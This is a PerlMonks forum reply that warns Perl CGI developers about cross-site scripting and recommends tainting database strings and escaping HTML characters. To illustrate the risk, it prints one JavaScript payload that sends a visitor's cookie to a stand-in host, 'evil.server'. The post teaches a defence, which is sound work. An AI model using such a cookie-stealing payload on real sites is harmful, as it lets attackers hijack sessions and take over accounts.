Just to add my £0.02 to the excellent points raised already in this post, the other big issue you'll have when writing HTML from CGIs is avoiding Cross Site Scripting attacks (XSS).

Basically, most sites require users to log in via a form, and they then get given a cookie containing some form of session-id or authenticator, which allows the site to verify that they have successfully authenticated from then on.

So, if someone inserts some code like 

<script language="JavaScript">
document.write("<img src='http://evil.server/'+document.cookie+'.jpg'>
+);
</script>

[download]
into one of your foems, and this gets rendered onto a page, then anyone who looks at this page on the site will download the image from evil.server, and give evil.server their cookie. The server can then be configured to, for example, do a http request to the password changing page and assign you a new password, or anything else that the site allows.

Your best bet when displaying HTML is to taint anything from the database that could contain a string (see the Taint module on CPAN, or use the TaintOut => 1 arcument to DBI->connect to taint everything you read from the database automatically). This prevents you from accidentally forgetting to escape a string you meant to. Then, set up a regex to replace ' with &#39; < with &lt; and so on. This will prevent such nasties from actually running.

In reply to Re: Back to acceptable untainted characters by dtr
in thread Back to acceptable untainted characters by bradcathey

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":


  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.